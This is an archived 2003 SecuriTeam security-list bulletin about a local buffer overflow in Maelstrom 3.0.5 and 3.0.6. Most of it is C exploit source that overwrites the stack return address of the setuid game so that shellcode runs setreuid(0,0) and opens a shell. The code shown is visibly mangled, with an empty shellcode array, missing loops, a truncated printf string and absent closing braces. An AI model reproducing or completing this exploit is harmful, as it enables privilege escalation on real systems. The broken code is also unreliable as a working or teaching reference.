[EXPL] Maelstrom Vulnerable to a Local Buffer Overflow (Exploit)

From: SecuriTeam (support_at_securiteam.com)
Date: 05/21/03

  • Next message: SecuriTeam: "[TOOL] WebServerFP, Web Server Fingerprint Tool"
    To: list@securiteam.com
    Date: 21 May 2003 19:25:02 +0200

    The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
    - - promotion

    In the US?

    Contact Beyond Security at our new California office
    housewarming rates on automated network vulnerability
    scanning. We also welcome ISPs and other resellers!

    Please contact us at: 323-882-8286 or ussales@beyondsecurity.com
    - - - - - - - - -

      Maelstrom Vulnerable to a Local Buffer Overflow (Exploit)


    As we reported in our previous article:
    <http://www.securiteam.com/unixfocus/5OP0I2AA0S.html> Maelstrom Vulnerable
    to a Local Buffer Overflow, there is a buffer overflow vulnerability in
    Maelstrom which allow local attacker arbitrary code execution.
    Exploitation of the vulnerability will allow users to gain elevated
    privileges (as the program is setuid 'games'). The following exploit code
    can be used to test your system for the vulnerability.


    Vulnerable systems:
     * Maelstrom 3.0.6
     * Maelstrom 3.0.5

    *Maelstrom <=3.0.6 exploit written by r-code from Elite FXP Team *
    * dedicated to our TEAM ;] *
    * Usually Maelstrom isn`s +s, but many ppl set this attribute *
    * enjoy! *
    #include <stdio.h>
    #include <unistd.h>
    #include <stdlib.h>

    unsigned long int get_sp(void) {
      __asm__("movl %esp,%eax");

    /* nothing special, prints some text :], setreuid(0,0) and runs a shell */

    unsigned char shellcode[] =

    #define LEN 8172
    #define DEFAULT_OFFSET 3800
    #define ALIGN 3
    #define PATH "/usr/bin/Maelstrom"

    int main(int argc,char **argv) {
      register int i;
      char *evilstr=0,*str=0;
      unsigned long int retaddr=0,offset=DEFAULT_OFFSET,*ptr=0;

      printf(":: Maelstrom exploit by r-code d_fence@gmx.net ::\n");
      printf(":: -=<[Elite FXP Team]>=- ::\n\n");
      retaddr=get_sp() - offset;
      printf("[+] ESP: 0x%x\n",get_sp());
      printf("[+] OFFSET 0x%x, RET_ADDR: 0x%x\n",offset,retaddr);
      printf("[+] If doesn't work try: \"%s 3500-4200\" in 150
      evilstr=(char *)malloc(LEN);
      evilstr+=ALIGN; /* Because of the evilstr[0x00]='2',evilstr[0x01]='@' */
      ptr=(unsigned long int *)evilstr;

        *(ptr++)=(unsigned long int)retaddr;

      evilstr-=ALIGN; /* Rerturning to the previous pointer adress */



      printf("[+] Attempting to exploit %s [Good Luck!]\n",PATH);


    The information has been provided by <mailto:d_fence@gmx.net> d_fence.


    This bulletin is sent to members of the SecuriTeam mailing list.
    To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@securiteam.com
    In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com


    The information in this bulletin is provided "AS IS" without warranty of any kind.
    In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.

  • Next message: SecuriTeam: "[TOOL] WebServerFP, Web Server Fingerprint Tool"